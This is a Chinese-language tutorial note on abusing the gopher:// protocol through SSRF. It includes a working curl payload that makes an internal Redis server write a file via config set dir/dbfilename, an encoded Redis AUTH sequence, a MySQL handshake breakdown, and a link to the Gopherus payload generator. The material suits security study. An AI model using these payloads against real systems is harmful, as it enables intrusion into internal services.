gopher协议结合ssrf的利用

简介

在 HTTP 协议出现之前,是 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。

Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。

struct格式化字符串

参数

作用

'@'

使用本机字节顺序(大小端)

'<'

使用小端字节顺序

'>'

使用大端字节顺序

'!'

'>' 相同,即使用网络字节顺序

数据类型

格式化字符串

占用字节数

有符号字节

'b'

1

无符号字节

'B'

1

有符号短整型

'h'

2

无符号短整型

'H'

2

有符号整型

'i'

4

无符号整型

'I'

4

有符号长整型

'q'

8

无符号长整型

'Q'

8

单精度浮点数

'f'

4

双精度浮点数

'd'

8

字符串

's'

可变

redis

gopher协议传输过程中会吞第一个字符,所以需要填充一个垃圾字符,所以测试的payload就是

curl "gopher://172.22.48.1:6379/_config%20set%20dir%20/tmp/%0Aset%20x%20%22%5Cn%5Cn%5Cnfffffffffffffffffff%5Cn%5Cn%5Cn%22%0Aconfig%20set%20dbfilename%20test123%0Asave"

image.pngimage-qxsv.png需要认证时要在payload前加入认证信息

//*2代表的是这行命令中有两个输入,$4代表的是auth的长度是4,第二个$4代表的是test的长度是4,编码的时候需要把换行也编进去

*2

$4

auth

$4

test

//编码后的认证payload:

%2A2%0d%0a%244%0d%0aAUTH%0d%0a%244%0d%0atest%0D%0A

mysql

认证机制

建立tcp连接之后,服务器会向客户端发送mysql greeting初始化报文,我们认证所需的信息就在这个报文中

这是一段greeting报文中的mysql protocol部分

0000   4a 00 00 00 0a 35 2e 37 2e 32 36 00 02 00 00 00   J....5.7.26.....
0010   5a 29 19 31 57 1b 29 77 00 ff f7 c0 02 00 ff 81   Z).1W.)w........
0020   15 00 00 00 00 00 00 00 00 00 00 22 2f 7b 60 0e   ..........."/{`.
0030   7a 34 42 1d 25 4d 73 00 6d 79 73 71 6c 5f 6e 61   z4B.%Ms.mysql_na
0040   74 69 76 65 5f 70 61 73 73 77 6f 72 64 00         tive_password.

  • 4a 00 00 包长度

  • 00 包的序号

  • 0a 协议版本

  • 35 2e 37 2e 32 36 00 服务器mysql版本

  • 02 00 00 00 进程id

  • 5a 29 19 31 57 1b 29 77 00 salt部分1

  • ff f7 MySQL 服务器支持的客户端功能的标志位

  • c0 MySQL 服务器使用的字符集编码

  • 02 00 连接状态

  • ff 81 MySQL 服务器支持的客户端功能的标志位

  • 15 插件认证所需的随机数据的长度

  • 00 00 00 00 00 00 00 00 00 00 填充数据

  • 22 2f 7b 60 0e 7a 34 42 1d 25 4d 73 00 salt部分2

  • 6d 79 73 71 6c 5f 6e 61 74 69 76 65 5f 70 61 73 73 77 6f 72 64 00 使用的认证插件

比较重要的是salt部分,这是要用来加密密码的,每一段salt最后的空字符00是要去掉的

加密的方法是将salt与密码的hash1拼接计算hash2,然后hash2与hash1进行异或

Gopherus

这个工具可以生成gopher协议的payload,可生成mysql、postgres、fastcgi、Memcached、Redis、Zabbix、SMTP类型的payload

https://github.com/tarunkant/Gopherus